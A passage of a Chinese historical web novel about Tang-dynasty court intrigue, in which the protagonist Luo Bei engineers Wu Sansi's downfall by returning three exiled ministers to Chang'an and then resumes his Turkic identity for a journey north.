只是能不能如郭元振的愿留在长安担任兵部侍郎,那就不是他或郭元振能做主的事情了。 数日之后,阿史那献如愿收到了朝廷准许他征召各部前往金山拜山的诏书,诏书中还批准了他因“事务庞杂,不可胜数”辞去北庭都护一职,转而复了他世袭的“昆陵都护”职务。 昆陵都护府属于大唐的羁縻州,所辖多逻斯水流域比北庭更北,基本都是洛北这次收复的疆域。 阿史那献不再执掌大唐兵马,朝廷也就驴下坡,答应他,命洛北率安西军队随行,随军御史依旧由张孝嵩出任。 洛北交接完一应安西事务,便整顿自己的兵马,准备跟随阿史那献再度北上。 不过在北上之前,他还有一件重要的事情要做。 伊逻卢城外四十里,有个不具名的小城市。汉晋年间,僧人们曾在这里的石窟中修行。直到隋末,天下大乱,才有百姓涌入这里。 循着龟兹河的一条支流,这里汇集成了个不大不小的市镇,南下天竺的商队和行人常在这里歇脚。 洛北只带了巴彦和阿拔思与自己同行。三人打扮成行路的突厥武士模样,一路和那些突厥的武士们一起吃吃喝喝,从他们口中问得种种消息。 比如大食兵马再三侵扰昭武九姓,眼看着又有国家要沦陷。 比如天竺诸国混战,至今未分胜负。 但人们讨论的最多的,还是发生在大唐西域的这场战事。半年之内,大唐平突骑施,退阿史那匍俱……简直让人想起贞观年间的那支唐军。 “听说那位年轻的唐军统帅才二十多岁。”有个中年武士在酒桌上感慨,“真是英雄出少年。唐家有这样的将领,西域只怕再也没有别人的机会了。” “哎,你这消息就听漏了吧,我听说那小子也是突厥人,他就是咱们突厥人的英雄,大名鼎鼎的乌特特勤。”旁边的武士忙接话道。 那武士转过头去,瞪大双眼:“怎么可能!乌特特勤不是身殁黑沙暴中,再也不可能回来了吗?!” “是真的,我有族人就在多逻斯水游牧,他们看到了乌特特勤的旗帜,据说是处月部的沙陀人。” “店家,会账!”眼看外面夜幕降临,洛北也懒得继续听他们争辩,干脆摆了一点碎金放在桌上,自己大步走出了酒肆。 阿拔思和巴彦本在听得津津有味,见他起身,也不得不一道起身,跟在他身后。 三人穿过一条狭窄的街道,绕过一座寺庙的后门,终于停在一处院落之前。他叩了叩门,院内有人发出一声警觉的: “谁呀?” 院内一阵响动,惊得巴彦和阿拔思各自把手放在了佩刀上。 洛北对他们投以一个不必在意的眼神,转而以汉语向院内答话:“三位不是一直想知道,是谁在暗中谋划此事吗?我来面对面地给三位解惑。” 这段话到底是触动了屋中人的心弦,有人慢悠悠地走过来,将门打开一条缝,小心翼翼地向外一看。 三个身形高大的突厥武士立在门外,各个腰挎宝刀,显得分外威严可怖。 那人一惊,吓得要立刻把院门合上。但他哪里敌得过洛北三人经年累月征战的力气。巴彦大步上前,轻轻一拉,便把院门拉开了。 那掌灯的白发老者退也不是,进也不是,只能站在那里,拿着油灯往他们身上照,照见洛北那双黄金般的眼眸时猛然一惊,差点没把油灯摔在地上: “怎么会是你?!” 第128章 “我打算助三位相公重回朝堂,铲除奸佞,还天下一个太平,只是,三位相公要做一件事……” “敬公, 为什么不能是我呢?” 洛北抬起眼眸,以汉话轻声回答。而后他直直地与眼前这位昔年因神龙政变功封平阳郡王的老人对视。 他们已经离开朝堂太久了,久到还觉得他洛北应当是在兵部任职的那个职方郎中。 敬晖年少出仕, 历任卫州刺史、洛州长史、中台右丞等职, 最后在风云变幻的武周末年因狄公提携加银青光禄大夫。 他遍历宦海,几度沉浮,一双眼睛也是看遍了世间百态,但看到眼前这个青年平静的目光,还是觉得迷惑不解: “洛郎中, 你是魏相公的得意助手,何必……” 洛北举起一只手,极委婉, 也是极强硬地打断了敬晖的讲话:“敬公,可否让我进去再说?” 敬晖已经习惯自己的话被那些形形色色的胡人打断,但被一个知道自己身份的汉人臣子打断还是第一次。 他错愕地皱起眉, 正要说什么。洛北已经自顾自地从他身边走了过去。 敬晖毫无办法, 只得跟在他身后走入院中。袁恕己和桓彦范已经听到了声音,也走到了前院之中,见到洛北走进来,都是一怔。 桓彦范反应最快:“你是兵部的那个职方郎中洛北?是魏元忠派人救了我们?这……不可能吧?” 洛北打了个手势, 示意阿拔思和巴彦去点亮前堂的灯火,自己则向三位昔日的宰相道了一礼, 才与他们分了主宾,各自坐下。 “容我先回答桓公的问题,”巴彦替他们的杯中各自倒上雪水煮化的茶水, 洛北端起杯子,抿了一口, 才开口说话:“我救诸位,只是出于自己的愿望,和魏相公无关。” 三人互相交换了几个眼神,那眼神里分明透露着的是不信任。 实话说,对于这三位已经高高在上了多年的宰相大臣来说,能记得洛北这个人的名字和相貌,还是因为他在吐蕃谈判时当堂驳斥了武三思,又协助魏元忠完成了吐蕃谈判。 他们已自然而然地把他归在“六部中未来可期的年轻才俊”之中,平日里连多余的关注都不会有,又怎么可能相信他敢撇开魏元忠独立行事?! 洛北对他们的想法心知肚明: “三位相公不妨想想,魏相公得了则天太后临终实封的爵位,对武家的事情素来是睁只眼闭只眼。又和三位政见不合,他是不会出手相助的。” 三人又面面相觑了一阵。他们三人自来到这里的那日起便互相通过消息,虽说他们逃脱朝廷追捕的“死法”各有不同,但帮忙处理首尾的都是一伙身份不明的突厥骑兵。 那伙突厥骑兵里,只有他们的首领懂一点汉话。三人来来回回,回回来来地问了很多遍,那首领只是咧着一口大白牙笑道:“我只是奉命行事,多的事情他不让我说。” 当问到“他”是谁时,这首领便缄默不言。饶是威逼利诱、百般哀求也没有效果。 那伙突厥骑兵把他们送到这里,便有个一身锦袍的中年人接待他们,他极客气地把他们安置在这座院落,又为他们配了个一点汉话不懂的龟兹老人帮忙烧饭洒扫。 他们住在这里,虽然不复之前的繁华生活,但一应食水是从来不缺。院后还开了五亩菜地,供他们平日“种豆南山下”,若要出门,也是使得。只是集市上极少有会说汉话的人,便是会说……他们也和这些人说不到一块儿。 “这倒是个绝佳的藏身之处。”敬晖曾这样对袁恕己说,“便是朝廷追捕我等,也绝查不到这个地图上都没有的小小镇甸。能帮咱们的幕后人,绝对是个对西域情势十分了解的人物。” “外兼手眼通天,胆大包天!”桓彦范在他们身后补充道。 他们也曾数度讨论过其人到底是什么来路,无非就是几个方向,一个是李姓宗嗣,一个是突厥汗国中的有识之士,还有一个……就是内附的部族领袖。 可眼前这个还不到二十五岁,入仕不到十年,由郭元振、姚崇、魏元忠等一步步提拔上来的青年,硬是哪个条件都不符合。 他哪里来的那么大的力量,哪里来的那么大的权力? 他们心中的疑问实在太多,一时半刻都不知如何开口。 洛北把他们的疑惑模样收入眼底,他不打算按着这三人的节奏与他们谈话,此刻反倒先开了口: “至于我为什么要出手拯救三位,其实是个很简单的道理,武三思与我有不共戴天之仇,三位相公既然与武三思不合,那便是我的朋友。三位相公落难,那我自然要出手。” 桓彦范见他把一件滔天的大案轻描淡写地讲的如同打猎射箭一般轻易,内心已是一叹,谁说眼前这个青年不是个胆大包天的角色!当年在朝中怎么没有人看出来? 洛北见桓彦范神色有异,知道他心中所想,便干脆将自己此来的目的和盘托出: “三位相公,如今朝中武三思已经因罪引咎辞职,他的那些党羽也有不少丟职罢官,现在我想三位回朝,向圣上和皇后揭发当年那桩冤案的真相,早日为国除害。” 袁恕己一直静默不语,听他这么说,心中才有了几分计量,问道: “洛郎中,我问一句话,你不要介意,你既然有如此决心,又有手段,为何不直接杀了武三思,反而要救我们这些老朽,再靠我们借力打力呢?” 他自己便与王同皎等人谋划过刺杀武三思——在长安城中劫杀一个人,肯定比千里迢迢,分兵救下三人,再安置在一个住所,两年间加以保护和供给要来得容易得多! 洛北微微一笑,道:“袁公,武三思固然可恶,但他背后所代表的势力才是真正祸国殃民的根源。只杀一个人,是不可能改变这一切的。” 他说得义正严辞,三人虽然面色不变,但内心已经微微波动。 “三位相公在朝中多年,深知朝政之弊,若能重回长安,定能肃清奸佞,还天下一个朗朗乾坤。” 这是再明显不过的虚言吹捧,但对三位失势已久的朝廷重臣而言,算是难能的安慰。 敬晖闻言,眼中闪过一丝精光,沉声道:“洛郎中,你既然有此大志,为何不直接上书皇上,反而要暗中行事?” 洛北叹了口气,道:“敬公,你我都是明白人,如今朝中奸臣当道,皇上身边尽是武三思之流,我若上书,只怕书未到皇上手中,我人已先遭毒手。” 洛北这话已经有一多半是在扯谎了——武三思能权倾朝野,究其原因,不过是因为善于揣摩上意,得到了皇帝的信任。 五王之冤,天下皆知,李显岂能不知?他只是不能放纵有威胁皇帝权力的重臣罢了。 桓彦范点了点头,道:“洛郎中,我承认你说得有理,既然是你救了我们,我们自当报答……还请你告诉我们,你希望我们怎么做?” 洛北站起身来,走到窗边,望着窗外的夜色。 夜色沉静如水,四下里伸手不见五指,只是个没有星光也没有月光的夜晚。 洛北缓缓说道:“我打算助三位相公重回朝堂,铲除奸佞,还天下一个太平,只是,三位相公要做一件事……” “什么事?”敬晖、桓彦范、袁恕己三人异口同声地问道。 洛北回过头来,目光如炬:“向皇后低头!” 三人闻言,脸色皆是一变。韦皇后,作为当今皇上李显的皇后,既是后宫之主,又在朝政上也颇有影响力。武三思之所以能够权倾朝野,很大程度上也是因为韦皇后的暗中支持。 桓彦范第一个变了脸色:“不!士可杀不可辱,叫我向那个女人低头!不可能!” 袁恕己也苦笑道:“我知道洛郎中的想法,是要靠皇后的力量帮助我们除掉武三思。但我们一贯反对后宫干政,与皇后嫌隙颇深,她哪里可能帮助我们?我们就不能换个人选……譬如,太平公主殿下,或是相王殿下?” 袁恕己曾经担任相王府司马,自然更希望回到相王李旦的身边。就算相王李旦的力量不能帮助他回到朝堂,也能让他不再受洛北这个二十多岁的青年的辖制。 洛北微微摇了摇头: “袁公,你可以不答应我,可以继续在这里过自己的日子,我保证你的安全和一应供给。但我绝不能允许你去寻相王。说句不中听的话,三位现在身上还有阴谋叛乱的罪名,除了皇后之外,没有人能帮你们洗清。你现在去寻相王,只会给武三思一个株连李姓宗嗣的借口。” “又是株连、又是阴谋……这天下到底是李唐的天下,还是武家的?”敬晖气得怒发冲冠,“早知如此,当初就……” “敬公!”袁恕己和桓彦范同时开口打断了敬晖的话。 洛北见他们各有意见,也不打算多说什么,便道:“诸位相公怕是一时半会儿不能决断,我可以给大家一点思考的时间,但仅限今晚。就像我刚刚所说,三位都可以不答应我,可以继续在这小城之中过你们的日子,我绝不强迫。” 他话说完,便同阿拔思和巴彦一道避到院中的一间客房中去了,留下那三人在前厅各自讨论。 阿拔思好奇道:“将军,我有一件事情,不知道能不能向您请教。” “好啊。”洛北笑道,“我知无不言,言无不尽。” “三位相公的罪名只有皇后能洗清,这一点我是能想明白的。”阿拔思道,“毕竟当时武三思他们指控五王谋反,也是因为圣上怀疑他们谣传皇后与武三思私通。可,您为什么笃定,他们三人一低头,皇后便能接纳他们呢?” 第129章 “不是儿臣同驸马置气,是驸马总和儿臣过不去!母后,你就成全我,让我休了他吧!” 洛北脸上的笑容逐渐隐没下去, 他望着油灯中闪烁的烛火,改以突厥语说: “不论武三思到底是不是皇后的入幕之宾,只要她知道了他把床帏之事大肆宣扬, 还把这样的事情作为打击政敌的手段。他们的同盟就必然破裂。至于皇后会选择谁作为新的同盟, 实话说,我也不知道。” 巴彦听得全神贯注,见他尾音突然上扬,显出几分狡黠来,立刻被逗起了好奇心:“您也不知道?” “你们不要把这三只老狐狸想得那么简单。他们和我打的那套太极, 不过就是为了试探我是否有能力保护他们的安全。我是以救命之恩相换,也就只能让他们回长安阐明真相而已。至于之后如何,他们难道会听我的摆布吗?” 洛北轻轻笑了一声, 灯火打在他的脸上,把那张英俊的面容显得越发高深莫测: “相信我,他们一会儿出来, 一定会说, 他们可以答应我,唯有一个条件,就是知道我到底是什么来路。” 阿拔思忍不住轻轻叹息一声:“公子,不会吧, 这三位相公可都是以清正干练著称。他们怎么会……” “怎么会这么忘恩负义,是吗?”洛北笑了, “这和他们的道德无关,只是一种生存的手段而已。如今朝堂是何等波诡云谲的场景,不捏着对方的把柄, 只怕盟友都做不踏实。” 巴彦反应过来了:“但公子不打算和他们结盟?” 洛北摇了摇头。 若是放在过去,那个一心要做良臣贤臣的洛北洛公子, 定会将一切和盘托出,以自己满腔热血、一身抱负为这些狄公门生谋个出路。 可如今,已经荡平突骑施、击溃阿史那匍俱的洛北没有这样的资格——他不能为了别人的政治前途和命运,拿自己和数万部下的性命冒险。 “我要做的事情很简单,我想让皇后对武三思心生戒惧。只要这一点小小的戒惧,就可以毁了武三思。” 月余之后,长安。 五月长安,春景正好,百花盛开。 像往年一样,李显命有司尽己所能地收集世间一切的奇花异草,捧到皇宫之中献给韦皇后和安乐公主。 五月刚起了个头,韦皇后的殿前便被一片姹紫嫣红的花海淹没。 “母后!母后!” 可明媚动人的安乐公主穿着她那件华贵的百鸟袍一出现在宫中时,百花的色彩便为公主的美貌所掩。 她赤着脚穿过殿阁,扑倒在韦皇后的怀里,向母亲仰起一张娇美的面容:“母后,儿臣不要再和武崇训过下去了!” 韦皇后皱了皱眉,她的这个女儿注重权势,却不明白朝中大势:“怎么了?怎么又闹起来了?上回你和他闹脾气,不是让你罚他在门外跪了三天,这次又是因为什么事?” “他背着我在外头纳小的。”安乐公主一边抹眼泪,一边哭诉,“被我发现了,我只是要他把那个女子送回去,他竟敢同我翻脸,还说……” “说什么?” “说他不管我,我也别来管他!”安乐公主气得如乌黛的眉毛拧作一团,“母后总劝我别和驸马置气,其实,不是儿臣同驸马置气,是驸马总和儿臣过不去!母后,你就成全我,让我休了他吧!” 韦皇后见她说到此句时,泪容顿失,便知自己这古灵精怪的小女儿是又有了新主意。她感到额角疼痛,不由得揉了揉: 安乐公主是他们一家被则天太后流放到房州的路上出生的。那时候日子太苦,苦到她在马车上就生了孩子。 这孩子出生之后没有襁褓,李显便用一件自己的衣裳把她裹了起来——由此,才给她取了“李裹儿”的名字。 李裹儿同父母一道在房州长大,自小受尽了苦。李显和韦后都觉得对她亏欠良多,回到长安后,两人都大力弥补。 安乐公主要月亮,李显和韦后就绝不给她摘星星。 安乐公主想要无数长安生民赖以生计的昆明池当自己的私家园林,李显虽然没同意,却也答应她,在长安中修一座堪比“昆明池”的“定昆池”供她娱乐。 “母后,儿臣知道您疼我,可您也看到了,武崇训他不配做我的驸马。”安乐公主见韦皇后沉默不语,便又撒娇道,“儿臣想要的是能够与我并肩而立,共同享受这世间荣华的人,而不是一个只会在外头拈花惹草的庸夫。” 韦皇后叹了口气,她知道安乐公主的心思,但这朝堂之上,婚姻之事又岂是儿戏?她轻抚着安乐公主的秀发,柔声道: “裹儿,你可知这天下之事,皆是牵一发而动全身。你若休了武崇训,且不说这天下尚没有女子休夫的事情,武三思那边如何交代?你父皇那边又该如何交代?” 安乐公主闻言,眼中闪过一丝狡黠,她知道母后心中有数,便不再多言,只是撒娇地依偎在韦皇后的怀中,轻声道:“母后,儿臣知道您最疼我了,儿臣只想要一个真心待我的人。” 韦皇后心中一软,她何尝不想满足女儿的愿望,但在这深宫之中,真心何其难得。她轻叹一声,道:“裹儿,母后自会为你打算,但你也要明白,这宫中之事,复杂得很,不是你想怎样就能怎样的。” 安乐公主点了点头,她知道母后会为她考虑,但她的心中已经有了自己的打算。她要的不仅仅是一个驸马,更是一个能够助她一臂之力的盟友:“母后,儿臣已经有人选了!” “有人选?什么人选?”韦皇后问。 “自然是新驸马的人选了!母后……你相信儿臣,这个人不仅是武家的嫡亲子弟,是武后的侄孙,还对儿臣是百依百顺,比那成事不足,败事有余的武崇训强得多!” 韦皇后当然不会对坊间传言一无所知:“你是说,武延秀吧?” “就是武延秀!”安乐公主双目发光,“他比那武崇训好多了,母后……你就成全儿臣吧。” “裹儿!你是挑丈夫,挑盟友,不是挑情人。武延秀在突厥待了那么多年,他在朝中根基很浅,根本成不了我们母女的助力。你和他玩玩乐乐,我绝不说你。但想休了武崇训嫁他,不行,我绝不同意!” 安乐公主的脸色一沉,她没想到母后会如此坚决地反对。她知道,要想说服母后,必须拿出更有说服力的理由。她深吸了一口气,缓缓站起身来,目光坚定地望着韦皇后:“母后,您可知道,武崇训最近和太子走得很近?” 太子?!李重俊?想到那个两耳不闻窗外事的仁弱太子,韦皇后的眉头也不禁紧锁了起来。 武崇训想干什么? 不……武三思想干什么?! 武三思已经权倾朝野,他还在拉拢太子……难道说,他想做司马懿? 安乐公主还在喋喋不休地说着: “母后,武崇训已经不可靠了。他现在和太子走得那么近,难保不会有一天背叛我们。而武延秀,他虽然在朝中的根基不深,但他对儿臣的忠诚是毋庸置疑的……” “裹儿,不要再说了。”韦后抬起一只手,让自己的女儿冷静下来。她需要给自己一点沉思的空间。 安乐公主停下来,定定地望着自己的母亲。她知道,韦皇后此刻正做一个可能会改变未来的决定: 数日后,武崇训被召入宫中,面对韦皇后的质问,他显得有些手足无措。他没有想到自己的私事竟然会传到皇后耳中,更没有想到安乐公主会因此而大发雷霆。 “武崇训,你可知你的行为已经触怒了公主,也触怒了本宫?”韦皇后冷冷地看着他,眼中没有一丝温度。 武崇训连忙跪下,磕头如捣蒜:“臣知罪,臣知罪,请皇后娘娘饶命。” 韦皇后冷哼一声:“饶命?你可知道,你的所作所为已经影响了公主的名声,也影响了武家的声誉?” 武崇训心中一惊,他知道韦皇后的手段,若是真的动怒,自己恐怕难以全身而退。他连忙道:“臣愿意将那女子送走,从此再不与她有任何瓜葛。” 韦皇后冷冷地看着他,半晌才道:“你回去吧,本宫会考虑如何处理这件事。” 武崇训如蒙大赦,连忙磕头谢恩,然后匆匆离开了皇宫。 但等他到家的时候,却收到了门房送来的一只木箱。 木箱沉重,武崇训心中忐忑,打开一看,里面竟是一颗血淋淋的人头——正是他在外纳的那个女子的头颅。他惊得倒退几步,几乎站立不稳。 “谁送来的?”他颤抖着声音问。 门房战战兢兢地回答:“是宫里的人送来的,说是皇后娘娘的赏赐。” 武崇训脸色煞白,他知道这是韦皇后在警告他,若是再敢有任何不轨之举,这女子的下场就是他的前车之鉴。 武三思得知此事,吓得立刻要入宫向皇后和公主谢罪。但韦皇后有意要给他一个教训,把他拒之门外,不肯见他。 “你这小子!迟早会害死我们一家人!”武三思在府中厉声责骂这个不成器的儿子,“快把这东西烧了!去给公主赔罪!” 火焰燃起的时候,长安城中忽而下起了瓢泼一样的大雨。城外近郊的一片墓地之中,两个孩子正扶着一对老夫妻对着一块墓碑垂泪。 “苍天啊,是谁害了我们的女儿。” “我们的女儿啊。” “阿姐……” “阿姐,呜呜呜……” 褚沅撑着一把半新不旧的油纸伞,穿过如珠一般的雨幕,停在这方墓碑之前,她像是发现什么似的,停下步子,看向这对老夫妻:“你们……是阿娥的父母吧?” 那当母亲的抬起头来,望着这个孤身一人出现在这里的温婉女郎:“你知道我女儿的名字?” “她在武崇训武驸马府上做工的时候,我和她一起绣过花呢。她的手比我的手巧,绣起蝴蝶都是栩栩如生的。”褚沅用应有的悲伤语调说着谎话。 “呀。你真的认识我姐姐?”那最小的女孩抬起头来,“那你……” “我是瞒着主人家出来的,不能多待。大爷大娘,我这里有些银钱,都是她和我一起攒的。都给你们……” 褚沅打断了孩子的话,手臂挽着的竹篮中掏出一块锦布包着的几块金银和首饰,一股脑地塞在他们手中。 “孩子……你真好,菩萨一定保佑你……” 那一家人走远了。褚沅才缓缓地蹲下身,从竹篮中取出香烛和冷食、纸钱,在墓碑前一一焚化。 待到那纸钱的烟灰在雨中飞舞起来,她才站起身。 “菩萨保佑我?”她伸出自己的手,来回打量了一下,十指削如葱管,手掌轫而有力。 她确实也是会绣花的。 可是,这终究不是一双绣花的手。 她闭上眼,在心底说: “我的罪孽……早就不可能被菩萨保佑了。” 第130章 “武三思,完蛋了。” 武崇训和安乐公主的矛盾到底是再度从后宫闹到了朝堂上。武三思本就因为西陲战事闹得灰头土脸, 便又再次使出了“拖”字诀,上书要求居家反思自己的教养不严之罪。 一向心疼女儿的李显见这次是安乐公主占理,自然要狠狠地给武崇训个教训。他不仅同意了武三思的奏疏, 还褫夺了武崇训的官职, 命他居家反省。 “朕知道不是三思的错。”他对韦皇后说,“但这样也能让安乐出出气,也让武崇训认清自己的身份!等他们反省几日,朕就找个由头,把他们都请进宫里来, 凑一桌酒席,好好劝一劝,管保他们小夫妻和好如初!” 韦皇后知道他沾沾自喜于和事天子的名声, 只点了点头,不作多言。 就在武三思闭门思过的当口,直居舍人武平一忽而上表盛赞皇帝此举, 并请皇帝抑损外戚权宠。 武平一官职不显, 素来以文辞著称,是长安诗会上的常客。但是由他上这道奏疏,意义非凡——因为他本人就是武氏的宗亲。他这是在要求抑损己家! 李显看到这道奏疏,那是哭笑不得。他下令重奖武平一的高洁, 却把奏疏束之高阁。 但这是一场风暴,一场李显没有预料到的风暴。 朝中清流和御史台的谏官们纷纷上书, 盛赞皇帝此举,并要求他抑损武家。 他们在奏章中说,则天太后功高不假, 但自武三思独掌大权以来,广结朋党, 排除异己,贪赃枉法,耽误战局…… 这一桩桩一件件,若放在寻常臣子身上,早就腰斩弃市了。武三思不仅没事,还大权独揽,圣上理应给他一个教训。 李显十分为难,回到皇宫想找韦后商量,却见韦后扑在锦榻上垂泪。 他想问韦后原委,可皇后总是避而不答,还说什么“不要为了臣妾折损皇家的面子”。他只得下令查问宫人。 最后还是皇后的大宫女说出了实情。皇后午后见了三个来自西域的客人,便成了这样。 “什么人?”李显问。 皇后哭得更厉害了,拿着帕子擦眼泪,也不说一句话。 “请皇帝恕婢子无罪!” 大宫女扑通一声跪倒在地: “是……是悖逆的五王之中的……袁恕己、桓彦范、敬晖三人!” “他们没死?!”李显讶然道。 “不要再说了。”皇后抹着眼泪,“过去的事情就让他过去吧,但愿陛下好好考虑臣子们的话,不要让公忠体国的大臣们心寒。” 当晚,李显找到曾为自己母亲行走灰暗之中的褚沅,要她在长安城中掘地三尺,也要把这几个人找出来。 褚沅受命而去,她只花了三天,就把三人带到了李显面前,还顺便带回了当年那场冤案的关键证人——两个负责印刷张贴的泼皮无赖。 受贬已久的三人,终于有机会面对面地向皇帝道出真相:他们讲了自己的忠心和武三思的阴谋,还讲了自己如何被周利贞追杀,如何机缘巧合为突厥人所救,又如何借着大唐扫荡西域的机会逃出生天,回到长安。 昔年权倾朝野的五位大臣,如今只剩下历经风霜,老态龙钟,再也不复之前敏锐的三人。 李显望着他们,那颗担心他们谋朝篡位的心渐渐放了下去。取而代之的,是被蒙骗已久,一朝醒悟时的愤怒。 天不亮,李显下令同意武平一奏疏的建议,下令免去武三思一切官职,将他打入大牢。其子武崇训想向安乐公主求情,得到的只是一纸和离的诏书。 数日之内,权倾朝野的武三思一党树倒猢狲散。武三思还未受审之前,已经外放的宗楚客、崔湜等人就上书揭发他的罪行。 李显看完之后,勃然大怒,立刻命有司将武三思一家抄家夺爵。 这无疑是将武三思的处境变得更坏,一时之间,朝廷为雪片般的弹劾奏章淹没。有司会审三日之后,以通敌叛国、贪赃枉法等诸多罪名,判武三思秋后处决。 李显念在他是外戚,赐他白绫一条,毒酒一杯,把其家人流放去了自己曾经待过的岭南。 消息传到西域的时候,已是春日的晚上。洛北已从北庭回到了碎叶城的安西衙署。 吴钩推门而入,看到洛北正坐在桌前,桌上摊开了一本厚厚的大食语书册,他不看书,只望着窗外发呆。 “公子!好消息!”吴钩低头道礼,“裴老板从长安来的信:武三思完蛋了!” “这是意料中事,称不上什么好消息。”洛北转过头来,望着满脸喜色的吴钩,“伷先还有什么消息?” “还有些朝中互相攻伐的事情,公子可以稍后再看。倒是有两件事情颇为奇怪,一个是皇帝陛下虽然勒令武崇训和安乐公主和离,还把武崇训流放去了岭南,却又为安乐公主结了一门武家的婚事。把她赐婚给了武延秀。” 洛北忍不住笑了:“吴判官,你说错了,不是把公主赐婚给了武延秀。陛下是把武延秀赐婚给了公主啊。” “啊?”吴钩愣了片刻,才从洛北这难得的玩笑话里听出来好笑之处,“是啊,武延秀先是和亲突厥,又当了大唐皇帝的女婿,可真是‘贵不可言’。” “他在突厥的时候我和他相熟,他在骑射、文采上都没什么特长。但人生得是唇红齿白,面如冠玉,眉眼俊秀。又兼善于歌舞、蹴鞠,公主们喜欢他,也是正常。”洛北道,“何况,皇帝陛下也需要这桩婚事,证明他不会将武家赶尽杀绝。” 吴钩点了点头:“还有一件事,就是皇帝下诏,说明两年前五王冤案都是武三思有意诬陷五王,中伤皇后。不仅复了五王爵位。还打算还袁恕己、桓彦范和敬晖三位相公宰相职位。如今桓彦范任大理寺卿,敬晖去了门下。只有袁相公拒不受赏,向皇帝提出告老还乡。” 洛北笑道:“想来皇帝也恩准了?” “是。”吴钩点了点头,“我真有点看不懂这个袁相公,多好的机会啊,他竟这样白白放弃。” “他毕竟曾是相王的属官。他在朝中身居高位,难免会让陛下猜疑相王,他是为相王考虑啊。”洛北感叹一句,顿一顿,才看向吴钩:“就这些,没其他的事情了?” 吴钩知道他心中有事,此刻也不便打扰,但他犹豫再三,还是说道:“公子,恕我直言,您应该重建一支卫队了。” “重建卫队?”洛北一时没有反应过来。 吴钩点了点头:“公子忘了,您的亲兵如郭知运等人,都是吐谷浑首领宣彻王子送您的卫队。如今他们都各自执掌兵马,无法再在您的身边保护您的安全。您应当重新挑选一支卫队了。” 洛北不解地歪了歪头:“难道我就有这么不让你们放心?先是伯克赠我兵马,你又劝我重建卫队,还有孝嵩,简直是见人就要告我一状……” 吴钩无奈地笑了:“公子,非要我直说不可吗?您自恃年少,冲锋必在前,用兵必弄险,还喜欢做白龙鱼服之游。要没有支合格的卫队在一边看着,我真怕您……” “好了,不吉利的话不要说了。”洛北怕他再说下去,又要翻起当时在碎叶城中被刺杀的旧账,那可就不是几句话能说完的了,“我听你的还不行吗?只是这卫队长的人选……” “巴彦将军如何?”吴钩建议道,“他对您忠心耿耿,武艺高强,性格直率……” 洛北摆了摆手:“你干脆直说,他们轮班看着我养伤的时候,只有他宁愿和我起冲突,也不愿意放伤刚好的我去碎叶城里透风。所以你信得过他。” 吴钩笑了:“公子知道属下的苦心就好。”他说着就要告退。 “吴钩,”洛北忽而叫了他的名字,“等此次金山之行一结束,郭知运便会因功被委任为白亭军使,去那里统领一城兵马,还有我的亲兵部将们,大部分都会受赏升迁,你呢?你有想去的地方吗?” 吴钩知道他是在酬功,面上却笑了:“公子不希望我继续为您工作?” “不,只是觉得理应为你表功。以你的能力,去哪个地方做个转运使,或是干脆去长安户部,都是可以的。”洛北道,“实在不用总是屈居人下……” “公子千万不要这样想。”吴钩再度低身向他道礼,“我追随公子,是我自己的选择。倘若有一日我真的想去做转运使或是户部的主事,我会告诉您的。” 洛北点了点头:“好啊。” 吴钩以手抚肩,向他道了个突厥人的大礼,才起身离开房间。 洛北望着他离开的背影,神情中竟多了一点不解,他揉了揉太阳穴,在心底自言自语: “我又是在做乌特特勤的时候和他有过往来吗?我怎么一点印象都没有了。” 但吴钩的动作到底使他下定了决心。他合上那厚厚的书册,从床边的矮橱中,取出了一套白紫的华服。 洛北将那套华服重新叠好,放进了行李的最底层,他的动作缓慢而慎重,仿佛在处理一件易碎的宝物。 这套华服颇有胡风,图案繁复,色彩斑斓,每一针每一线都透露着精湛技艺。 它不该属于大唐的安西副都护洛北,而是应该属于阿史那乌特,那位在西域拥有崇高地位的“乌特特勤”。 若要让洛北自己说,他并不想重新成为乌特特勤,那个身份带给他太多的束缚和责任,他更愿意作为那个普通的大唐将军洛北为国家效力。 但阿史那匍俱败得比他想象的还要快。他一箭也没有放,就靠声望收复了多逻斯水至金山的广袤土地。 结果,如今只有“乌特特勤”能镇得住碎叶城以北的土地,为了大唐,他别无选择。 “阿史那乌特。”他伸手抚过那件华服,低声对自己说:“早点休息吧,接下来,还有很多人要见,还有很多路要走。” 130-140 第131章 “你要和我打仗吗?!” 阿史那献的队伍再度从碎叶城起行, 随行的人数已是浩浩荡荡。 朱邪烈骄傲地把那面象征乌特特勤的飞鹰旗高高地升在队列的最前,琪琪格、莫潘有样学样,最后连哥舒亶都加入了——他已因功被重新授予孤舒州都督兼本蕃押蕃使的职务, 如今正式统领哥舒部的兵马。 于是不到一日, 黑色的飞鹰旗与赤色的唐军军旗交织在一起,占满了春日里湛蓝的天空。 拜山的骑队前后左右都有牧民驱赶着自家的牛羊跟随。打头的是骑着骆驼,带着家什的妇女,中间是成群成群的牛羊、马匹和其他的牲畜,男子们跟在最后, 时不时发出大声的呼喝,用石子或鞭子让掉队的牛羊归位。 “好大的阵仗。”张孝嵩看着如繁星一般的牛羊与马匹,像是把这辈子能看到的所有牛羊都看了个遍, “突厥人拜山都是这样热闹吗?” 负责警戒的哥舒亶打马从他身边走过,正好听到了他的这句感慨,干脆放慢马速, 与他闲谈起来: “张御史, 这些牧民不是和我们去拜山的。是咱们赶的巧,遇到了牧民转场的时候了。” “转场?”张孝嵩重复了一遍,没能立刻明白其中的意思。 哥舒亶似乎想了一会儿该怎么和张孝嵩解释,伸手打着比方:“碎叶城地处河谷, 气候温暖,冬日的时候牧民来这里放牧, 可以躲避风雪。” “一到夏日,牧草有的干黄,有的被牛羊和马儿都吃光了。所以牧民们要赶着牛羊和马儿去山上放牧, 山上的气候冷,牧草青青的, 牛羊吃了才会长膘。” “孝嵩哥哥,这就是你们汉人书上说的‘逐水草而居。’” 琪琪格从后头追上来,兴高采烈地加入了他们的谈话。 一到草原上,她再也不用端着架子,把所有的漂亮衣裙和首饰都找了出来,一天也不重样,这会儿她身上是件花彩的新裙子,两只金耳坠一荡一荡,在太阳下泛着绚烂的光。 哥舒亶哈哈大笑,回头打量着这个兴高采烈的女孩子:“是,是,琪琪格,我只听说你有个莫潘弟弟,从来不知道你有个孝嵩哥哥啊!” 琪琪格“哼”了一声,在马臀上抽了一下,很快地赶到前面去,加入了朱邪烈和莫潘那边去了。 他们用突厥语大声地谈着话。张孝嵩听了半天,也只能听到“歌舞”、“唱歌”等几个词,要转过去问哥舒亶的时候,却发现哥舒亶正满脸笑意地望着他。他哭笑不得,只得找话题把话头岔了过去: “洛北呢?这几日总不见他。” 